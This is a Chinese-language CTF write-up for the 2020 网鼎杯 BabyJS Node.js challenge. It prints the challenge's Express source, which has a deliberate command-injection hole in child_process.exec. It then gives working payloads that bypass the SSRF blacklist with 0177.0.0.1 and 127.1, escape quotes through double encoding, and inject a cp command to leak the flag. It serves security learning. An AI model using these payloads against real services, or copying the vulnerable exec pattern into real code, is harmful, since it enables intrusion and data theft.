[网鼎杯 2020 半决赛]BabyJS nodejs题:
经典进去就是黑屏加{}(牢json数据了)
有源码(关键的就是这个地方):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 var express = require ('express' );var config = require ('../config' );var url=require ('url' );var child_process=require ('child_process' );var fs=require ('fs' );var request=require ('request' );var router = express.Router ();var blacklist=['127.0.0.1.xip.io' ,'::ffff:127.0.0.1' ,'127.0.0.1' ,'0' ,'localhost' ,'0.0.0.0' ,'[::1]' ,'::1' ];router.get ('/' , function (req, res, next ) { res.json ({}); }); router.get ('/debug' , function (req, res, next ) { console .log (req.ip ); if (blacklist.indexOf (req.ip )!=-1 ){ console .log ('res' ); var u=req.query .url .replace (/[\"\']/ig ,'' ); console .log (url.parse (u).href ); let log=`echo '${url.parse(u).href} '>>/tmp/log` ; console .log (log); child_process.exec (log); res.json ({data :fs.readFileSync ('/tmp/log' ).toString ()}); }else { res.json ({}); } }); router.post ('/debug' , function (req, res, next ) { console .log (req.body ); if (req.body .url !== undefined ) { var u = req.body .url ; var urlObject=url.parse (u); if (blacklist.indexOf (urlObject.hostname ) == -1 ){ var dest=urlObject.href ; request (dest,(err,result,body )=> { res.json (body); }) } else { res.json ([]); } } }); module .exports = router;
有bug的地方就是这里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 router.get ('/debug' , function (req, res, next ) { console .log (req.ip ); if (blacklist.indexOf (req.ip )!=-1 ){ console .log ('res' ); var u=req.query .url .replace (/[\"\']/ig ,'' ); console .log (url.parse (u).href ); let log=`echo '${url.parse(u).href} '>>/tmp/log` ; console .log (log); child_process.exec (log); res.json ({data :fs.readFileSync ('/tmp/log' ).toString ()}); }else { res.json ({}); } });
POST方法里的url传参,有个黑名单绕过,以及引号和双引号的替换
先用ssrf的绕过方法:https://www.secpulse.com/archives/65832.html
通过构造json数据:
1 2 { "url" : "http://0177.0.0.1:3000/debug?url=" } { "url" : "http://127.1:3000/debug?url=" }
下一步是闭合引号,这就和 nodejs 的 url 库的具体实现相关了。因此我们想到了进行二次编码绕过,因为web服务器会先解一次码
但是这就需要有二次解码的地方,就需要知道 nodejs 二次解码的地方:
1 https://github.com/nodejs/node/blob/master/lib/url.js
意思是在@之前的都会二次编码:所以可以构造如下payload即可闭合引号:
1 2 {"url":"http://0177.0.0.1:3000/debug?url=http://%2527@xx"} {"url":"http://127.1:3000/debug?url=http://%2527@xx"}
最后我们就想把 flag 传入 /tmp/log 中,直接使用 cp 命令即可:
1 2 3 4 5 6 // 二次编码 {"url":"http://0177.0.0.1:3000/debug?url=http://a%2527@a;cp$IFS/flag$IFS/tmp/log%00"} {"url":"http://127.1:3000/debug?url=http://%2527;cp$IFS/flag$IFS/tmp/log%00"} // 特殊编码 => %EF%BC%87解码为' {"url":"http://127.1:3000/debug?url=http://%EF%BC%87;cp$IFS/flag$IFS/tmp/log%00"}
%00 是为了截取后面代码
至于为什么会直接显示:
1 res.json({ data: fs.readFileSync('/tmp/log').toString()} );
这个读取/tmp/log的东西输出,将存贮的flag吐出来了
参考链接:
https://blog.csdn.net/woshilnp/article/details/120275525
https://tyskill.github.io/posts/buuoj_21_1/